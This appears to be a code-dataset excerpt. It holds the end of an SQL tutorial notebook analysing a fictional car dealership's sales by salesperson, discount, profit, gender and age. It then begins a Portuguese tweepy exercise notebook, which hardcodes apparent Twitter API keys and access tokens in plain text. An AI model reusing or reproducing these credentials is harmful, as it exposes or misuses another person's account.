big table, this will run much more slowly than if you use a positive filter. Try this instead - it might require a little extra typing, but it will run much faster:" ] }, { "cell_type": "code", "execution_count": 97, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>model_id</th>\n", " <th>make</th>\n", " <th>model</th>\n", " <th>sticker_price</th>\n", " <th>cogs</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 20</td>\n", " <td> Toyota</td>\n", " <td> Camry</td>\n", " <td> 22000</td>\n", " <td> 13200</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 46</td>\n", " <td> Toyota</td>\n", " <td> Corolla</td>\n", " <td> 16000</td>\n", " <td> 9600</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 51</td>\n", " <td> Toyota</td>\n", " <td> Prius</td>\n", " <td> 24200</td>\n", " <td> 14520</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 19</td>\n", " <td> Honda</td>\n", " <td> Civic</td>\n", " <td> 18190</td>\n", " <td> 10914</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 31</td>\n", " <td> Honda</td>\n", " <td> Accord</td>\n", " <td> 22105</td>\n", " <td> 13263</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> 36</td>\n", " <td> Toyota</td>\n", " <td> Tundra</td>\n", " <td> 26200</td>\n", " <td> 15720</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " model_id make model sticker_price cogs\n", "0 20 Toyota Camry 22000 13200\n", "1 46 Toyota Corolla 16000 9600\n", "2 51 Toyota Prius 24200 14520\n", "3 19 Honda Civic 18190 10914\n", "4 31 Honda Accord 22105 13263\n", "5 36 Toyota Tundra 26200 15720" ] }, "execution_count": 97, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " car_table\n", " WHERE\n", " make in ('Toyota', 'Honda')\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "________\n", "_______\n", "_______\n", "______\n", "\n", "# Wrapping Up:\n", "\n", "### Debugging:\n", "\n", "If you run into errors when you start writing your own queries, here are some things to make sure your query has:\n", "- The right names for columns in the SELECT clause\n", "- Columns that can be found in the tables in the FROM clause\n", "- Consistent use of aliases throughout (if using aliases)\n", "- Joined tables on the corresponding column and proper aliases to indicate each table\n", "- The correct order of clauses:\n", " SELECT\n", " FROM\n", " JOIN...ON \n", " WHERE\n", " GROUP BY\n", " UNION\n", " ORDER BY\n", " LIMIT\n", "- Consistent use of capitalization for variables in quotes\n", "- Fuctions and opperators for real numbers, not integers \n", "- The same number of columns/expressions in their SELECT clauses of your queries when using UNION\n", "\n", "### Gain a deeper understanding: \n", "http://tech.pro/tutorial/1555/10-easy-steps-to-a-complete-understanding-of-sql\n", "\n", "### Practice on other databases: \n", "http://sqlzoo.net/wiki/SELECT_.._WHERE\n", "\n", "### Sample Queries for Business Analysis:\n", "\n", "Let's say you recently opened a car dealership, and you now have one month's worth of sales data. You want to know how your sales team is doing.\n", "\n", "Start by looking at the number of cars each person sold last month. The names of the sales team and the list of transactions are on different tables in your database, but SQL can help you with that:" ] }, { "cell_type": "code", "execution_count": 98, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Salesperson</th>\n", " <th>Cars_Sold</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Jared Case</td>\n", " <td> 14</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Claudine Hatch</td>\n", " <td> 11</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Michael Hill</td>\n", " <td> 11</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Rosemarie Self</td>\n", " <td> 11</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Elton Elzy</td>\n", " <td> 10</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Matthew Luna</td>\n", " <td> 10</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Joseph Seney</td>\n", " <td> 9</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Justin Avellaneda</td>\n", " <td> 9</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> Samantha Douglas</td>\n", " <td> 8</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> Kathleen March</td>\n", " <td> 7</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Salesperson Cars_Sold\n", "0 Jared Case 14\n", "1 Claudine Hatch 11\n", "2 Michael Hill 11\n", "3 Rosemarie Self 11\n", "4 Elton Elzy 10\n", "5 Matthew Luna 10\n", "6 Joseph Seney 9\n", "7 Justin Avellaneda 9\n", "8 Samantha Douglas 8\n", "9 Kathleen March 7" ] }, "execution_count": 98, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " first_name || ' ' || last_name as Salesperson,\n", " COUNT(*) as Cars_Sold\n", " FROM\n", " sales_table S\n", " JOIN salesman_table M ON S.salesman_id = M.id\n", " GROUP BY \n", " Salesperson\n", " ORDER BY \n", " Cars_Sold DESC\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Add on the average amount of revenue made per sale:" ] }, { "cell_type": "code", "execution_count": 99, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Salesperson</th>\n", " <th>Cars_Sold</th>\n", " <th>Revenue_per_Sale</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Jared Case</td>\n", " <td> 14</td>\n", " <td> 18952</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Claudine Hatch</td>\n", " <td> 11</td>\n", " <td> 17890</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Michael Hill</td>\n", " <td> 11</td>\n", " <td> 18323</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Rosemarie Self</td>\n", " <td> 11</td>\n", " <td> 19462</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Elton Elzy</td>\n", " <td> 10</td>\n", " <td> 19467</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Matthew Luna</td>\n", " <td> 10</td>\n", " <td> 21349</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Joseph Seney</td>\n", " <td> 9</td>\n", " <td> 20002</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Justin Avellaneda</td>\n", " <td> 9</td>\n", " <td> 19242</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> Samantha Douglas</td>\n", " <td> 8</td>\n", " <td> 19149</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> Kathleen March</td>\n", " <td> 7</td>\n", " <td> 21277</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Salesperson Cars_Sold Revenue_per_Sale\n", "0 Jared Case 14 18952\n", "1 Claudine Hatch 11 17890\n", "2 Michael Hill 11 18323\n", "3 Rosemarie Self 11 19462\n", "4 Elton Elzy 10 19467\n", "5 Matthew Luna 10 21349\n", "6 Joseph Seney 9 20002\n", "7 Justin Avellaneda 9 19242\n", "8 Samantha Douglas 8 19149\n", "9 Kathleen March 7 21277" ] }, "execution_count": 99, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " first_name || ' ' || last_name as Salesperson,\n", " COUNT(*) as Cars_Sold, \n", " ROUND(AVG(revenue)) as Revenue_per_Sale\n", " FROM\n", " sales_table S\n", " JOIN salesman_table M ON S.salesman_id = M.id\n", " GROUP BY \n", " Salesperson\n", " ORDER BY \n", " Cars_Sold DESC\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Make it easier to compare the average revenue of Jared's sales to the average revenue of per sale overall by adding a column to see by what percent each salesperson's sales are more or less than average:" ] }, { "cell_type": "code", "execution_count": 100, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Salesperson</th>\n", " <th>Cars_Sold</th>\n", " <th>Rev_per_Sale</th>\n", " <th>RPS_Compared_to_Avg</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Jared Case</td>\n", " <td> 14</td>\n", " <td> 18951.64</td>\n", " <td> -2.4 %</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Claudine Hatch</td>\n", " <td> 11</td>\n", " <td> 17890.00</td>\n", " <td> -7.8 %</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Michael Hill</td>\n", " <td> 11</td>\n", " <td> 18323.45</td>\n", " <td> -5.6 %</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Rosemarie Self</td>\n", " <td> 11</td>\n", " <td> 19462.27</td>\n", " <td> 0.3 %</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Elton Elzy</td>\n", " <td> 10</td>\n", " <td> 19466.90</td>\n", " <td> 0.3 %</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Matthew Luna</td>\n", " <td> 10</td>\n", " <td> 21349.20</td>\n", " <td> 10.0 %</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Joseph Seney</td>\n", " <td> 9</td>\n", " <td> 20002.22</td>\n", " <td> 3.0 %</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Justin Avellaneda</td>\n", " <td> 9</td>\n", " <td> 19242.44</td>\n", " <td> -0.9 %</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> Samantha Douglas</td>\n", " <td> 8</td>\n", " <td> 19149.13</td>\n", " <td> -1.4 %</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> Kathleen March</td>\n", " <td> 7</td>\n", " <td> 21277.14</td>\n", " <td> 9.6 %</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Salesperson Cars_Sold Rev_per_Sale RPS_Compared_to_Avg\n", "0 Jared Case 14 18951.64 -2.4 %\n", "1 Claudine Hatch 11 17890.00 -7.8 %\n", "2 Michael Hill 11 18323.45 -5.6 %\n", "3 Rosemarie Self 11 19462.27 0.3 %\n", "4 Elton Elzy 10 19466.90 0.3 %\n", "5 Matthew Luna 10 21349.20 10.0 %\n", "6 Joseph Seney 9 20002.22 3.0 %\n", "7 Justin Avellaneda 9 19242.44 -0.9 %\n", "8 Samantha Douglas 8 19149.13 -1.4 %\n", "9 Kathleen March 7 21277.14 9.6 %" ] }, "execution_count": 100, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " first_name || ' ' || last_name as Salesperson,\n", " COUNT(*) as Cars_Sold, \n", " ROUND(AVG(revenue), 2) as Rev_per_Sale,\n", " ROUND((((AVG(revenue) \n", " - (SELECT AVG(revenue) from sales_table))\n", " /(SELECT AVG(revenue) from sales_table))*100), 1) || ' %'\n", " as RPS_Compared_to_Avg\n", " FROM\n", " sales_table S\n", " JOIN salesman_table M ON S.salesman_id = M.id\n", " GROUP BY \n", " Salesperson\n", " ORDER BY \n", " Cars_Sold DESC\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "So maybe Jared is just selling cheaper cars.\n", "\n", "Let's go further and compare the sale price of each car against the sticker price to see how low Jared was willing to negotiate with customers. Sticker price is in anther table, but again, that's no problem with SQL:" ] }, { "cell_type": "code", "execution_count": 101, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Salesperson</th>\n", " <th>Cars_Sold</th>\n", " <th>Rev_per_Sale</th>\n", " <th>RPS_Compared_to_Avg</th>\n", " <th>Avg_Customer_Discount</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Jared Case</td>\n", " <td> 14</td>\n", " <td> $ 18951.64</td>\n", " <td> -2.7 %</td>\n", " <td> 15.7 %</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Claudine Hatch</td>\n", " <td> 11</td>\n", " <td> $ 17890.0</td>\n", " <td> -8.2 %</td>\n", " <td> 13.9 %</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Michael Hill</td>\n", " <td> 11</td>\n", " <td> $ 18323.45</td>\n", " <td> -6.0 %</td>\n", " <td> 14.7 %</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Rosemarie Self</td>\n", " <td> 11</td>\n", " <td> $ 19462.27</td>\n", " <td> -0.1 %</td>\n", " <td> 12.8 %</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Elton Elzy</td>\n", " <td> 10</td>\n", " <td> $ 19466.9</td>\n", " <td> -0.1 %</td>\n", " <td> 13.4 %</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Matthew Luna</td>\n", " <td> 10</td>\n", " <td> $ 21349.2</td>\n", " <td> 9.6 %</td>\n", " <td> 10.3 %</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Joseph Seney</td>\n", " <td> 9</td>\n", " <td> $ 20002.22</td>\n", " <td> 2.6 %</td>\n", " <td> 12.5 %</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Justin Avellaneda</td>\n", " <td> 9</td>\n", " <td> $ 19242.44</td>\n", " <td> -1.3 %</td>\n", " <td> 13.4 %</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> Samantha Douglas</td>\n", " <td> 8</td>\n", " <td> $ 19149.13</td>\n", " <td> -1.7 %</td>\n", " <td> 16.1 %</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> Kathleen March</td>\n", " <td> 7</td>\n", " <td> $ 21277.14</td>\n", " <td> 9.2 %</td>\n", " <td> 9.5 %</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Salesperson Cars_Sold Rev_per_Sale RPS_Compared_to_Avg \\\n", "0 Jared Case 14 $ 18951.64 -2.7 % \n", "1 Claudine Hatch 11 $ 17890.0 -8.2 % \n", "2 Michael Hill 11 $ 18323.45 -6.0 % \n", "3 Rosemarie Self 11 $ 19462.27 -0.1 % \n", "4 Elton Elzy 10 $ 19466.9 -0.1 % \n", "5 Matthew Luna 10 $ 21349.2 9.6 % \n", "6 Joseph Seney 9 $ 20002.22 2.6 % \n", "7 Justin Avellaneda 9 $ 19242.44 -1.3 % \n", "8 Samantha Douglas 8 $ 19149.13 -1.7 % \n", "9 Kathleen March 7 $ 21277.14 9.2 % \n", "\n", " Avg_Customer_Discount \n", "0 15.7 % \n", "1 13.9 % \n", "2 14.7 % \n", "3 12.8 % \n", "4 13.4 % \n", "5 10.3 % \n", "6 12.5 % \n", "7 13.4 % \n", "8 16.1 % \n", "9 9.5 % " ] }, "execution_count": 101, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " first_name || ' ' || last_name as Salesperson,\n", " COUNT(*) as Cars_Sold, \n", " '$ ' || ROUND(AVG(revenue), 2) as Rev_per_Sale,\n", " ROUND((((AVG(revenue) \n", " - (SELECT AVG(revenue) from sales_table where salesman_id != 215))\n", " /(SELECT AVG(revenue) from sales_table where salesman_id != 215))*100), 1) || ' %'\n", " AS RPS_Compared_to_Avg,\n", " ROUND((1-(SUM(revenue) / SUM(sticker_price)))*100, 1) || ' %' as Avg_Customer_Discount\n", " FROM\n", " sales_table S\n", " JOIN salesman_table M ON S.salesman_id = M.id\n", " JOIN car_table C ON S.model_id = C.model_id\n", " GROUP BY \n", " Salesperson\n", " ORDER BY \n", " Cars_Sold DESC\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Looks like Jared is letting customers negotiate prices down much more than his peers. \n", "\n", "But is this a real problem? How much is each salesperson contributing to our gross profits? " ] }, { "cell_type": "code", "execution_count": 102, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Salesperson</th>\n", " <th>Cars_Sold</th>\n", " <th>Rev_per_Sale</th>\n", " <th>RPS_Compared_to_Peers</th>\n", " <th>Avg_Customer_Discount</th>\n", " <th>Gross_Profit_Contribution</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Jared Case</td>\n", " <td> 14</td>\n", " <td> $ 18951.64</td>\n", " <td> -2.7 %</td>\n", " <td> 15.7 %</td>\n", " <td> 12.8 %</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Claudine Hatch</td>\n", " <td> 11</td>\n", " <td> $ 17890.0</td>\n", " <td> -8.2 %</td>\n", " <td> 13.9 %</td>\n", " <td> 10.0 %</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Michael Hill</td>\n", " <td> 11</td>\n", " <td> $ 18323.45</td>\n", " <td> -6.0 %</td>\n", " <td> 14.7 %</td>\n", " <td> 10.0 %</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Rosemarie Self</td>\n", " <td> 11</td>\n", " <td> $ 19462.27</td>\n", " <td> -0.1 %</td>\n", " <td> 12.8 %</td>\n", " <td> 11.2 %</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Elton Elzy</td>\n", " <td> 10</td>\n", " <td> $ 19466.9</td>\n", " <td> -0.1 %</td>\n", " <td> 13.4 %</td>\n", " <td> 10.0 %</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Matthew Luna</td>\n", " <td> 10</td>\n", " <td> $ 21349.2</td>\n", " <td> 9.6 %</td>\n", " <td> 10.3 %</td>\n", " <td> 11.9 %</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Joseph Seney</td>\n", " <td> 9</td>\n", " <td> $ 20002.22</td>\n", " <td> 2.6 %</td>\n", " <td> 12.5 %</td>\n", " <td> 9.5 %</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Justin Avellaneda</td>\n", " <td> 9</td>\n", " <td> $ 19242.44</td>\n", " <td> -1.3 %</td>\n", " <td> 13.4 %</td>\n", " <td> 8.9 %</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> Samantha Douglas</td>\n", " <td> 8</td>\n", " <td> $ 19149.13</td>\n", " <td> -1.7 %</td>\n", " <td> 16.1 %</td>\n", " <td> 7.3 %</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> Kathleen March</td>\n", " <td> 7</td>\n", " <td> $ 21277.14</td>\n", " <td> 9.2 %</td>\n", " <td> 9.5 %</td>\n", " <td> 8.4 %</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Salesperson Cars_Sold Rev_per_Sale RPS_Compared_to_Peers \\\n", "0 Jared Case 14 $ 18951.64 -2.7 % \n", "1 Claudine Hatch 11 $ 17890.0 -8.2 % \n", "2 Michael Hill 11 $ 18323.45 -6.0 % \n", "3 Rosemarie Self 11 $ 19462.27 -0.1 % \n", "4 Elton Elzy 10 $ 19466.9 -0.1 % \n", "5 Matthew Luna 10 $ 21349.2 9.6 % \n", "6 Joseph Seney 9 $ 20002.22 2.6 % \n", "7 Justin Avellaneda 9 $ 19242.44 -1.3 % \n", "8 Samantha Douglas 8 $ 19149.13 -1.7 % \n", "9 Kathleen March 7 $ 21277.14 9.2 % \n", "\n", " Avg_Customer_Discount Gross_Profit_Contribution \n", "0 15.7 % 12.8 % \n", "1 13.9 % 10.0 % \n", "2 14.7 % 10.0 % \n", "3 12.8 % 11.2 % \n", "4 13.4 % 10.0 % \n", "5 10.3 % 11.9 % \n", "6 12.5 % 9.5 % \n", "7 13.4 % 8.9 % \n", "8 16.1 % 7.3 % \n", "9 9.5 % 8.4 % " ] }, "execution_count": 102, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " first_name || ' ' || last_name as Salesperson,\n", " COUNT(*) as Cars_Sold, \n", " '$ ' || ROUND(AVG(revenue), 2) as Rev_per_Sale,\n", " ROUND((((AVG(revenue) \n", " - (SELECT AVG(revenue) from sales_table where salesman_id != 215))\n", " /(SELECT AVG(revenue) from sales_table where salesman_id != 215))*100), 1) || ' %'\n", " AS RPS_Compared_to_Peers,\n", " ROUND((1-(SUM(revenue) / SUM(sticker_price)))*100, 1) || ' %' as Avg_Customer_Discount, \n", " ROUND(((SUM(revenue)-sum(C.cogs))\n", " /(SELECT SUM(revenue)-sum(cogs) FROM sales_table S join car_table C on S.model_id = C.model_id))*100, 1) || ' %' as Gross_Profit_Contribution\n", " FROM\n", " sales_table S\n", " JOIN salesman_table M ON S.salesman_id = M.id\n", " JOIN car_table C ON S.model_id = C.model_id\n", " GROUP BY \n", " Salesperson\n", " ORDER BY \n", " Cars_Sold DESC\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "SQL really lets you dig. \n", "\n", "Some other quick examples - we could do a gender breakdown of customers per car model and add a total at the bottom:" ] }, { "cell_type": "code", "execution_count": 103, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Model</th>\n", " <th>% Female Customers</th>\n", " <th>% Male Customers</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Accord</td>\n", " <td> 0.50</td>\n", " <td> 0.50</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Camry</td>\n", " <td> 0.45</td>\n", " <td> 0.55</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Civic</td>\n", " <td> 0.30</td>\n", " <td> 0.70</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Corolla</td>\n", " <td> 0.55</td>\n", " <td> 0.45</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Forester</td>\n", " <td> 0.64</td>\n", " <td> 0.36</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Outback</td>\n", " <td> 0.33</td>\n", " <td> 0.67</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Prius</td>\n", " <td> 0.14</td>\n", " <td> 0.86</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Tundra</td>\n", " <td> 0.50</td>\n", " <td> 0.50</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> Total:</td>\n", " <td> 0.42</td>\n", " <td> 0.58</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Car_Model % Female Customers % Male Customers\n", "0 Accord 0.50 0.50\n", "1 Camry 0.45 0.55\n", "2 Civic 0.30 0.70\n", "3 Corolla 0.55 0.45\n", "4 Forester 0.64 0.36\n", "5 Outback 0.33 0.67\n", "6 Prius 0.14 0.86\n", "7 Tundra 0.50 0.50\n", "8 Total: 0.42 0.58" ] }, "execution_count": 103, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.model as Car_Model, \n", " ROUND(SUM(CASE WHEN CUST.gender = 'female' THEN 1 END)/(COUNT(S.id)*1.0), 2) AS '% Female Customers',\n", " ROUND(SUM(CASE WHEN CUST.gender = 'male' THEN 1 END)/(COUNT(S.id)*1.0), 2) AS '% Male Customers'\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " JOIN cust_table CUST on S.customer_id = CUST.customer_id\n", " GROUP BY \n", " Car_Model\n", " \n", " UNION ALL\n", " \n", " SELECT\n", " 'Total:', \n", " ROUND(SUM(CASE WHEN CUST.gender = 'female' THEN 1 END)/(COUNT(S.id)*1.0), 2) AS '% Female Customers',\n", " ROUND(SUM(CASE WHEN CUST.gender = 'male' THEN 1 END)/(COUNT(S.id)*1.0), 2) AS '% Male Customers'\n", " FROM\n", " sales_table S\n", " JOIN cust_table CUST on S.customer_id = CUST.customer_id\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Easily create age groups and see how aggressively each group negotiates (judged by the difference between the actual sale amount and the sticker price):" ] }, { "cell_type": "code", "execution_count": 104, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Age_Group</th>\n", " <th>% Paid Below Sticker Price</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 18-24 years</td>\n", " <td>-0.14</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 25-34 years</td>\n", " <td>-0.12</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 35-44 years</td>\n", " <td>-0.11</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 45-54 years</td>\n", " <td>-0.16</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 55-64 years</td>\n", " <td>-0.14</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Age_Group % Paid Below Sticker Price\n", "0 18-24 years -0.14\n", "1 25-34 years -0.12\n", "2 35-44 years -0.11\n", "3 45-54 years -0.16\n", "4 55-64 years -0.14" ] }, "execution_count": 104, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " CASE WHEN age BETWEEN 18 AND 24 THEN '18-24 years'\n", " WHEN age BETWEEN 25 AND 34 THEN '25-34 years'\n", " WHEN age BETWEEN 35 AND 44 THEN '35-44 years'\n", " WHEN age BETWEEN 45 AND 54 THEN '45-54 years'\n", " WHEN age BETWEEN 55 AND 64 THEN '55-64 years'\n", " END Age_Group,\n", " ROUND((SUM(S.revenue)-SUM(C.sticker_price))/SUM(C.sticker_price), 2) as '% Paid Below Sticker Price'\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id\n", " JOIN cust_table CUST on S.customer_id = CUST.customer_id\n", " GROUP BY\n", " Age_Group\n", " ''')" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.4.1" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

rubensfernando/mba-analytics-big-data

Python/2016-07-29/aula4-parte5-exercicios.ipynb

2

4196

{ "cells": [ { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import tweepy" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "consumer_key = 'M6OkpsVkxMo1m4oEpcKrxTG9L'\n", "consumer_secret = 'huUxJYdPoddEkvRrmDOFQIuHspkBERTCshx2J5tcj7FeAFdgNp'\n", "access_token = '13101632-jfzgS37obVEw5vEQhkg3iHuMSgZFwAnLz55OZcVyi'\n", "access_token_secret = 'CeoEHGH6fzrFH1PbXxSwCvmL04rD6nQElJzKgMnAj9AY9'" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "autorizar = tweepy.OAuthHandler(consumer_key, consumer_secret)\n", "autorizar.set_access_token(access_token, access_token_secret)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "api = tweepy.API(autorizar)\n", "print(api)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**```Exercício 1 - Utilizando o método update_with_media, realize a atualização do status utilizando a imagem fia.jpg disponível na pasta da aula.```**\n", "\n", " Imprima com o status \"Programação com Python e Twitter na FIA!\"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**```Exercício 2 - Salve o retorno do tweet do exercício anterior e imprima as seguintes informações:```**\n", " * tweet\n", " * id\n", " * created_at\n", " * lang\n", " * text\n", " * user\n", " * 